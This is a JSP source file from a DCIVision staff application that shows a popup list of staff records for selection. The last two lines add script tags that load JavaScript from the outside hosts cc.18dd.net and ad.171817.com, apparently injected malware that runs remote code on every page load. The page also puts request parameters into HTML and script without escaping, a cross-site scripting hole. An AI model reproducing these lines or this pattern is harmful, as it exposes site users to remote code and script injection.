<%
/*
 * @(#)PopupStaffRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/28
 * BugID      : 5582
 * Description: add a if cause in function SetRecord(){}
 * *********************************************************************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/30
 * BugID      : 5427
 * Description: add keydown 'ENTER' event for searching
 * *********************************************************************************************
 */

/**
  PopupStaffRecord.jsp

  This page is for selecting a staff record from the list of all staff records.

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    12/08/2003
    @version          $Revision: 1.16.2.16 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listStaffRecordForm" scope="request" class="com.dcivision.staff.web.ListStaffRecordForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "PopupStaffRecordList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"staff.columnheader.staff_code", "STAFF_CODE"},
                            {"staff.columnheader.fullname", "FULL_NAME"},
                            {"staff.columnheader.email", "EMAIL"},
                            {"staff.columnheader.title", "TITLE"},
                            {"staff.columnheader.status", "STATUS"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"staff.label.staff_code", "STAFF_CODE"},
                            {"staff.label.full_name", "FULL_NAME"},
                            {"staff.label.email", "EMAIL"},
                            {"staff.label.title", "TITLE"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  try {
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }
%>

<script language="Javascript">
<!--
function SetRecord(staffID, firstName, lastName, fullName, email, form) {
  var frm;
  if (!form || form == null) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  } else {
     /* Jicle.Wang 5582 2006/06/28 Start */
    if(typeof (window.opener.document.forms[form]) =='undefined'){
      window.close();
    }
     /* Jicle.Wang 5582 2006/06/28 End   */
    frm = window.opener.document.forms[form];
  }

  frm.elements["userLinkID"].value = staffID;
  frm.elements["firstName"].value = firstName;
  frm.elements["lastName"].value = lastName;
  frm.elements["fullName"].value = fullName;
  frm.elements["email"].value = email;
  window.close();
}

function StaffRecordFormReset() {
  <% if (request.getParameter("mode").equals("multiple")) { %>
    SetRecord('','','','','','<%=request.getParameter("form")%>');
  <% } else { %>
    OpSetRecordID('', '', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');
  <% } %>
}

function StaffRecordFormClose() {
  self.close();
  return(false);
}

-->
</script>


<!-- Form Section Begin -->
<html:form action="staff/PopupStaffRecord" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type='hidden' name='form' value='<%=request.getParameter("form")%>'>
<input type='hidden' name='property' value='<%=request.getParameter("property")%>'>
<input type='hidden' name='mode' value='<%=request.getParameter("mode")%>'>
<layout:popupTitle titleKey ="staff.label.staffrecord"/>
<div class="tabContainer">
<div class="tabContent" style="display:block;height:300px;">
<!-- Search Panel Begin -->

<layout:listBar>
 <div class="button">
 </div>
 <layout:filterControl/>
 </layout:listBar>
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table >
  <tr>
    <td>
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
      <% String actionString = "return(OpList(listStaffRecordForm, '" + listStaffRecordForm.getSortAttribute() + "', '" + listStaffRecordForm.getSortOrder() + "'))"; %>
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick='<%=actionString%>'/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listStaffRecordForm))"/>
 </div>
 <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listStaffRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listStaffRecordForm.getSortAttribute()%>" sortOrder="<%=listStaffRecordForm.getSortOrder()%>" checkColumn="false" editColumn="false" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="staffRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)staffRecord).getID()%>);">
    <td nowrap>
    <a href="javascript:void(0);" onclick="<%=request.getParameter("mode").equals("multiple")%>?
                    SetRecord('<bean:write name='staffRecord' property='ID'/>', '<bean:write name='staffRecord' property='firstName' replace=''/>', '<bean:write name='staffRecord' property='lastName' replace=''/>', '<bean:write name='staffRecord' property='fullName' replace=''/>', '<bean:write name='staffRecord' property='email' replace=''/>', '<%=request.getParameter("form")%>'):
                    OpSetRecordID('<bean:write name='staffRecord' property='ID'/>', '<bean:write name='staffRecord' property='fullName'/>', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');">
                  <bean:write name='staffRecord' property='staffCode'/></a></td>
    <td><a href="javascript:void(0);" onclick="<%=request.getParameter("mode").equals("multiple")%>?
                    SetRecord('<bean:write name='staffRecord' property='ID'/>', '<bean:write name='staffRecord' property='firstName' replace=''/>', '<bean:write name='staffRecord' property='lastName' replace=''/>', '<bean:write name='staffRecord' property='fullName' replace=''/>', '<bean:write name='staffRecord' property='email' replace=''/>', '<%=request.getParameter("form")%>'):
                    OpSetRecordID('<bean:write name='staffRecord' property='ID'/>', '<bean:write name='staffRecord' property='fullName'/>', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');"><bean:write name='staffRecord' property='fullName'/></a></td>
    <td><% if (!Utility.isEmpty(((StaffRecord)staffRecord).getEmail())) { %> <a href="mailto:<bean:write name='staffRecord' property='email'/>"> <% } %>
      <bean:write name='staffRecord' property='email'/>
      <% if (!Utility.isEmpty(((StaffRecord)staffRecord).getEmail())) { %> </a> <% } %>
    </td>
    <td><bean:write name='staffRecord' property='title'/></td>
    <td><bean:define id='status' name='staffRecord' property='status'/><bean:message key='<%= "staff.label.status_" + status %>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='staffRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='staffRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listStaffRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</div>
<!-- ==container end== -->

<!-- Form Section End -->
<div id="bottomButtonArea">
  <div id="buttonSection">
  <html:standardButton label="common.label.reset" onClick="StaffRecordFormReset()" />
  <html:standardButton label="common.label.close" onClick="return StaffRecordFormClose()"/>
  </div>
</div>
</html:form>

<%
  } catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>